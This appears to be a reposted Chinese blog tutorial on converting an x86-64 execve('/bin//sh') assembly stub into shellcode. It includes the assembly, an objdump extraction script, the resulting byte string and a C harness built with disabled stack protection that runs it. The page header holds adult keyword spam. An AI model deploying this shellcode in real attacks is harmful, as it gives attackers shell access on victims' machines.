日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

转换汇编到shellcode的过程

發布時間:2025/3/17 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 转换汇编到shellcode的过程 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

匯編代碼如下:

section .textglobal _start _start:jmp shell here:xor rax,raxpop rdixor rsi,rsixor rdx,rdxadd rax,59syscall shell:call here bash db "/bin//sh"

編譯執行過程如下:

jay@ubuntu:~/Desktop/bin2shell$ vim shell.asm jay@ubuntu:~/Desktop/bin2shell$ nasm -f elf64 shell.asm -o shell.o jay@ubuntu:~/Desktop/bin2shell$ ld shell.o -o shell jay@ubuntu:~/Desktop/bin2shell$ ./shell $ ls README.md bin2shell.sh shell shell.asm shell.o $ exit

用如下bin2shell.sh 腳本將二進制的shell程序 轉為x86_64位的shellcode

#!/bin/bash for i in $(objdump -d $1 |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

原理:objdump -d后取帶數字的每行的第二個字段 并在其前加入 “\x“ 之后echo輸出

jay@ubuntu:~/Desktop/bin2shell$ objdump -d shellshell: file format elf64-x86-64Disassembly of section .text:0000000000400080 <_start>:400080: eb 10 jmp 400092 <shell>0000000000400082 <here>:400082: 48 31 c0 xor %rax,%rax400085: 5f pop %rdi400086: 48 31 f6 xor %rsi,%rsi400089: 48 31 d2 xor %rdx,%rdx40008c: 48 83 c0 3b add $0x3b,%rax400090: 0f 05 syscall 0000000000400092 <shell>:400092: e8 eb ff ff ff callq 400082 <here>0000000000400097 <bash>:400097: 2f (bad) 400098: 62 (bad) 400099: 69 .byte 0x6940009a: 6e outsb %ds:(%rsi),(%dx)40009b: 2f (bad) 40009c: 2f (bad) 40009d: 73 68 jae 400107 <bash+0x70>

最后效果如下:

jay@ubuntu:~/Desktop/bin2shell$ ./bin2shell.sh shell \xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68

最后利用shellcode的c代碼如下:

# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing#include<stdio.h> #include<string.h>unsigned char code[] = "\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68";main() {printf("Shellcode Length: %d\n", (int)strlen(code));int (*ret)() = (int(*)())code;//聲明一個函數指針 將code數組的地址轉換同一類型的指針并賦值ret();}

代碼:https://github.com/tangsilian/SomeCode/tree/master/bin2shellcode

參考:
https://www.exploit-db.com/exploits/42791/
cut 命令解釋:https://www.ibm.com/support/knowledgecenter/zh/ssw_aix_72/com.ibm.aix.cmds1/cut.htm

轉載于:https://www.cnblogs.com/Tesi1a/p/7624052.html

總結

以上是生活随笔為你收集整理的转换汇编到shellcode的过程的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。